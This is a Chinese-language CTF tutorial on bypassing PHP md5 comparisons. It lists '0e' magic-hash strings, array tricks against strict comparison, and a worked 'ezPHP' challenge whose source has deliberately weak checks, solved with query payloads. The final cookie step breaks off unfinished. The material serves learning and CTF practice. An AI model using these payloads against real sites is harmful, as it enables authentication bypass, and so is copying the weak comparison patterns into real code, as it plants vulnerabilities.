md5
繞過
($a != $b && md5($a) == md5($b))的繞過
傳參a=s1885207154a,b=s1836677006a
MD5值:
md5("s1885207154a") => 0e509367213418206700842008763514
md5("s1836677006a") => 0e481036490867661113260034900752
在PHP中 0e開頭表示為科學計數法 0e
後面的字母 會被當作零處理
雙md5碰撞繞過
if ($a != $b && md5($a) == md5(md5($b))
使md5($a)==md5(md5($b))
的值為0e
,只要使md5($b)
的值也為0e
,就繞過
找一個 值為0e開頭,md5值也為0e開頭的
md5("V5VDSHva7fjyJoJ33IQl") => 0e18bb6e1d5c2e19b63898aeed6b37ea
a=s1885207154a,b=V5VDSHva7fjyJoJ33IQl即可繞過if判斷
雙md5結果仍為0e開頭字串
MD5和雙MD5以後的值都是0e開頭的
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
字串的MD5值為0e開頭
QLTHNDT
QNKCDZO
PJNPDWY
NWWKITQ
NOOPCJF
MMHUWUV
MAUXXQC
240610708
s878926199a
s155964671a
s214587387a
md5弱型別比較
if (md5($_GET['a']) == md5($__GET['b']))
同理0e繞過
md5強型別比較
if(md5((string)$_GET['a'])===md5((string)$__GET['b']))
可以利用陣列繞過
var_dump(md5([1,2,3])==md5([4,5,6]));
var_dump(md5($_GET['a'])==md5($_GET['b']));
?a[]=1&b[]
md5中需要的是一個string引數,但是當你傳入一個array(陣列)是,md5()是不會報錯的,只是無法求出array的md5的值,這樣就會導致任意的2個array的md5的值都會相等
例題 ezPHP
原始碼
<?php
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
$a = 'O.U.C';
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
if (preg_match('/_|%5f|\.|%2E/i',$query)){
die('聽說你是駭客');
}
echo '你知道b等於什麼能繞過這個弱型別嗎(〃` 3′〃)'.'<br>';
if (md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
echo "哎呦,不錯喔".'<br>';
$O_U_C=$_GET['O_U_C'];
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C)){
echo 'but'.'如果我寄出===閣下又該如何應對๑乛◡乛๑'.'<br>';
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']){
echo '好,那麼好'.'<br>';
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
echo '還是被你解出來了'.' ྀི ྀིɞ ྀི ིྀ ིྀ'.$flag;
}else{
echo '告訴你secret的md5值也無妨,反正雜湊是不可逆的๑乛◡乛๑,除非你能籜斬攻擊我'.md5($secret.'ouc').'<br>';
}
}else{
echo '不過如此';
}
}else{
die("不行嘛(´ェ`)");
}
}else{
echo '嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)';
}
你知道b等於什麼能繞過這個弱型別嗎(〃` 3′〃)
嗨害嗨 (๑ᵒ̴̶̷͈᷄ᗨᵒ̴̶̷͈᷅)
(md5($a)==md5($_GET['b'])&&$a!=$_GET['b']){
陣列繞過 ?a[]=0&b[]=3
if (!is_array($O_U_C)&&$O_U_C!=='100'&&preg_match('/^100$/',$O_U_C))
要求 變數 O_U_G
不是陣列 並且滿足 $O_U_G
與字串100 在值和型別上都不相等
if (preg_match('/_|%5f|.|%2E/i',$query))
preg_match函式匹配了 _
和 .
以及 %5f
和 %2E
使用空格 在php中 空格會被特殊解析成下劃線
?a[]=0&b[]=4&O U C=100%0a
if (md5($_POST['md51'])===md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52'])
該比較為強比較 不能使用0e繞過 此時0e不再被當作科學計數法 0e後面的東西不在記為0處理
md51[]=1&md52[]=2
if ($_COOKIE["md5"]===md5($secret.urldecode($_GET['md5']))){
傳入cookie的值為md5 使其等於 secret
傳入的md5的md5值相等
secter和傳入的md5拼接的值的md5已給出
因為有拼接的存在 md5=ouc